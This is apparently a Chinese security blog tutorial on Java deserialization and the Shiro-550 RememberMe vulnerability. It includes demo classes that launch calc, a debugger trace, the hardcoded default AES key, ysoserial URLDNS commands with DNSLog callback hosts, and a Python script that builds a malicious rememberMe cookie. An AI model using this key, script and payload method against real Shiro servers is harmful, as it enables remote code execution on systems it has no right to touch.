目录
0x02 安全问题1:重写toString方法(打印对象时触发)
0x03 安全问题2:重写readObject(反序列化时触发)
0x05 Shiro550生成RememberMe Cookie流程分析
?希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!??
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
在讨论Shiro之前不得不回顾一下Java原生反序列化,这里创建一个UserDemo类,用来测试Java原生序列化/反序列化。
public class UserDemo implements Serializable {
public String name="ch4ser";
public String gender="man";
public Integer age=23;
public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
}
测试Java原生序列化,将对象u序列化后写入文件ser.txt。
package com.example.seriatestdemo;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个对象 引用UserDemo
UserDemo u = new UserDemo("ch4ser","man",23);
//调用方法进行序列化
SerializableTest(u);
//ser.txt 就是对象u 序列化的字节流数据
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream输出流,用于将数据写入到文件
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
//将对象obj序列化后输出到文件ser.txt
oos.writeObject(obj);
}
}
控制台输出:
ch4ser
male
Process finished with exit code 0
测试Java原生反序列化,将ser.txt数据反序列化还原为对象并打印输出。
package com.example.seriatestdemo;
import java.io.*;
public class UnserializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法 传入 ser.txt 解析还原反序列化
Object obj =UnserializableTest("ser.txt");
//对obj对象进行输出
System.out.println(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
//读取Filename文件进行反序列化还原
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
控制台输出:
com.example.seriatestdemo.UserDemo@378bf509
Process finished with exit code 0
假设UserDemo类在原来的基础上重写了toString方法,并且含有风险代码。
public class UserDemo implements Serializable {
public String name="ch4ser";
public String gender="man";
public Integer age=23;
public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "User{" +
"name='" + name + '\'' +
", gender='" + gender + '\'' +
", age=" + age +
'}';
}
}
再次执行反序列化打印输出,计算器弹出,原因如下:
1、在Java中,当使用System.out.println(obj)打印对象时,实际上会调用该对象的toString方法来获取字符串表示形式。
2、obj是通过反序列化得到的,其类型是UserDemo,而UserDemo类中重写了toString方法,所以在打印时会调用UserDemo类的toString方法。
3、由于toString方法包含了执行Runtime.getRuntime().exec("calc")的代码,导致计算器弹出。
?
控制台输出:
User{name='ch4ser', gender='male', age=23}
Process finished with exit code 0
但这本身其实是由于打印对象时造成的安全问题,和反序列化并没有太大关系,
只是想说如果如果对方在反序列化的时候同时打印了对象,那么这里也可以成为一个利用点。
那么重点来了,假设UserDemo类在原来的基础上重写了readObject方法,并且含有风险代码。
public class UserDemo implements Serializable {
public String name="ch4ser";
public String gender="man";
public Integer age=23;
public UserDemo(String name,String gender,Integer age){
this.name=name;
this.gender=gender;
this.age = age;
System.out.println(name);
System.out.println(gender);
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确readObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
再次执行反序列化测试代码,计算器弹出,原因如下:
1、在Java中,当一个类实现了Serializable接口并且重写readObject方法时,该方法会在对象进行反序列化时被调用。
2、由于在UserDemo类中实现了Serializable接口,并且重写了readObject方法,所以在反序列化时调用ois.readObject()会触发UserDemo类的readObject方法。
?
控制台输出:
com.example.seriatestdemo.UserDemo@378bf509
Process finished with exit code 0
在本次测试代码中,UserDemo类重写的readObject方法直接调用了危险方法。
事实上,反序列化的利用链一般有如下几种:
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
package com.example.seriatestdemo;
import java.io.*;
public class UnseriaTest implements Serializable {
public static Object UnserializeT(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
UnserializeT("urldns.txt");
}
}
使用ysoserial生成urldns.txt,传入进行反序列化,Yakit成功记录到DNSLog反连
ysoserial命令:
java -jar ysoserial.jar URLDNS "http://rbxxtvcckc.dgrh3.cn/" > urldns.txt
?
在DefaultSecurityManager#rememberMeSuccessfulLogin方法处下断点,测试首次成功登录账户(勾选Remember Me)后Shiro生成RememberMe Cookie的流程,启用IDEA动态调试。
protected void rememberMeSuccessfulLogin(AuthenticationToken token, AuthenticationInfo info, Subject subject) {
// 获取RememberMeManager实例
RememberMeManager rmm = getRememberMeManager();
// 如果RememberMeManager实例不为空
if (rmm != null) {
try {
// 调用RememberMeManager的onSuccessfulLogin方法,用于处理成功登录时的“记住我”逻辑
rmm.onSuccessfulLogin(subject, token, info);
} catch (Exception e) {
// 处理RememberMeManager抛出的异常
if (log.isWarnEnabled()) {
// 记录警告日志,说明特定类型的RememberMeManager实例抛出异常
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during onSuccessfulLogin. RememberMe services will not be " +
"performed for account [" + info + "].";
log.warn(msg, e);
}
}
} else {
// 如果RememberMeManager实例为空
if (log.isTraceEnabled()) {
// 记录跟踪日志,说明当前实例未配置RememberMeManager,因此“记住我”服务将不会执行
log.trace("This " + getClass().getName() + " instance does not have a " +
"[" + RememberMeManager.class.getName() + "] instance configured. RememberMe services " +
"will not be performed for account [" + info + "].");
}
}
}
以上方法在用户成功登录时执行,会调用RememberMeManager#onSuccessfulLogin方法来处理成功登录时的Remember Me逻辑。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
// 总是清除任何先前的身份信息:
forgetIdentity(subject);
// 现在保存新的身份信息:
if (isRememberMe(token)) {
// 如果认证令牌请求记住我功能,则执行记住我逻辑
rememberIdentity(subject, token, info);
} else {
// 如果认证令牌未请求记住我功能,则记录调试信息
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
以上方法首先调用forgetIdentity方法清除之前的身份信息,然后调用isRememberMe方法检查登陆时是否勾选了Remember Me,若是则调用rememberIdentity方法。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
// 使用 serialize 方法将身份信息集合转换为字节数组
byte[] bytes = serialize(principals);
// 如果配置了加密服务(CipherService)
if (getCipherService() != null) {
// 对字节数组进行加密
bytes = encrypt(bytes);
}
// 返回转换后的字节数组
return bytes;
}
步入以上rememberIdentity方法,开始执行勾选Remember Me的逻辑,来到AbstractRememberMeManager#convertPrincipalsToBytes方法。
以上方法做了如下两个操作:
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>serialize=>encrypt
public byte[] serialize(T o) throws SerializationException {
// 检查传入的对象是否为null
if (o == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
// 创建字节数组输出流
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建缓冲输出流
BufferedOutputStream bos = new BufferedOutputStream(baos);
try {
// 创建对象输出流
ObjectOutputStream oos = new ObjectOutputStream(bos);
// 将对象写入输出流
oos.writeObject(o);
// 关闭对象输出流
oos.close();
// 返回序列化后的字节数组
return baos.toByteArray();
} catch (IOException e) {
// 处理序列化过程中的异常
String msg = "Unable to serialize object [" + o + "]. " +
"In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
"class must implement java.io.Serializable.";
throw new SerializationException(msg, e);
}
}
?步入以上AbstractRememberMeManager#serialize方法,这里可以看到我们很熟悉的东西,也就是说Shiro使用的是Java原生序列化操作:
观察到此时o的值为root,即登录的用户名(表明o是可控的),而由于后续登录Shiro解析RememberMe Cookie时执行的操作是相反的,即执行反序列化操作,故此处存在反序列化漏洞。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>
serialize=>new ObjectOutputStream(bos)=>oos.writeObject(o)
protected byte[] encrypt(byte[] serialized) {
// 将前面序列化后的用户信息(byte数组)赋值给变量value
byte[] value = serialized;
// 获取CipherService实例
CipherService cipherService = getCipherService();
// 如果CipherService实例不为空
if (cipherService != null) {
// 使用CipherService对字节数组进行加密,返回加密后的ByteSource
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
// 从ByteSource中获取加密后的字节数组
value = byteSource.getBytes();
}
// 返回加密后的字节数组
return value;
}
步入以上AbstractRememberMeManager#encrypt方法,该方法主要是调用CipherService#encrypt方法对序列化后的用户信息进行加密,其加密密钥通过getEncryptionCipherKey()方法获取。
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
// 检查是否生成初始化向量(IV)
boolean generate = isGenerateInitializationVectors(false);
// 如果生成初始化向量
if (generate) {
// 生成初始化向量
ivBytes = generateInitializationVector(false);
// 检查生成的初始化向量是否有效
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
" cannot be null or empty.");
}
}
// 调用加密方法,传入待加密的字节数组、密钥、初始化向量和是否生成初始化向量的标志
return encrypt(plaintext, key, ivBytes, generate);
}
步入以上CipherService#encrypt方法,该方法主要是获取密钥key、偏移量iv,然后执行正式的加密逻辑。
后续加密不再做详细介绍,只放以下变量值截图:
?
?
通过以上变量值得知加密密钥key和偏移量iv的值,加密算法模式为AES/CBC/PKCS5Padding。
多次测试后发现Shiro550的key和iv是固定的,且AES是对称加密即加密解密的key一致,这也就造成了攻击者可通过使用默认的key对恶意构造的序列化数据进行加密。
补充:这里的key是Ascii数组,Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>
=>AbstractRememberMeManager#encrypt=>CipherService#encrypt=>key、iv、AES
AES/CBC/PKCS5Padding是什么? 以下为ChatGPT的解释:
AES/CBC/PKCS5Padding 是一种描述使用 AES 算法进行加密的具体加密算法和填充方案的字符串表示。在这个字符串中,各个部分的含义如下:
AES: 表示使用 AES 算法进行加密。AES(Advanced Encryption Standard)是一种对称加密算法,广泛用于保护敏感数据。
CBC: 表示使用 Cipher Block Chaining (CBC) 模式。CBC 是一种块密码的工作模式,它将前一个块的密文与当前块的明文异或,然后再进行加密。这种模式有助于增加密码的安全性。
PKCS5Padding: 表示使用 PKCS#5 填充方案。PKCS#5 和 PKCS#7 都是密码学标准中定义的填充方案,用于将不足块大小的明文数据填充到块大小。在实际应用中,PKCS#5 和 PKCS#7 通常是可以互换使用的,因此有时你可能看到 AES/CBC/PKCS7Padding。
这个字符串指定了加密和解密算法所需的参数,确保在使用 AES 加密时,采用了特定的工作模式(CBC)和填充方案(PKCS5Padding)。这些参数是为了增加加密的安全性和实现数据的正确解密而引入的。
接着就是Base64编码,设置RememberMe Cookie发送并放行,不再赘述。
链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity
=>convertPrincipalsToBytes=>serialize=>encrypt=>Base64Encode
从以上的调试过程不难总结出Shiro550漏洞原理,如下:
由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
1、Shiro550生成RememberMe Cookie流程(首次登录成功):
用户信息 => 序列化 => AES加密 => Base64编码 => rememberMe?Cookie值
2、Shiro550验证RememberMe Cookie流程(后续登录验证):
rememberMe?Cookie值 =>?Base64解码 => AES解密 => 反序列化
3、攻击者角度,构造Payload的流程(同Shiro生成RememberMe Cookie流程):
恶意命令 => 序列化 => AES加密 => Base64编码 => rememberMe?Cookie值
和前面测试URLDNS链区别就在于使用ysoserial生成urldns.txt后还需要进行序列化、AES加密、Base64编码。
ysoserial命令:
java -jar ysoserial.jar URLDNS "http://kqoglunpys.dgrh3.cn/" > urldns.txt
这里我使用如下Python脚本进行处理:
from Crypto.Cipher import AES
import uuid
import base64
//若提示ModuleNotFoundError: No module named 'Crypto'
//需安装pycryptodome库:pip3 install pycryptodome
def convert_bin(file):
with open(file, 'rb') as f:
return f.read()
def AES_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()
return ciphertext
if __name__ == "__main__":
data = convert_bin("urldns.txt")
print(AES_enc(data))
BurpSuite抓包,将生成的字符串粘贴到Cookie: rememberme=后面,发包后Yakit成功记录到DNSLog反连。
?
为什么不能用之前FastJson的JdbcRowSetImpl那个链?
1、根本原因:Shiro反序列化用的是Java原生反序列化,而Fastjson反序列化用的是其自定义的反序列化
2、FastJson能用JdbcRowSetImpl链根本原因是其自定义的反序列化执行时会自定执行类的set、get方法
3、Shiro使用Java原生反序列化,其造成漏洞的根本原因是重写了readObject()方法
4、Shiro反序列化时无法触发JdbcRowSetImpl类的setDataSourceName、setAutoCommit执行lookup方法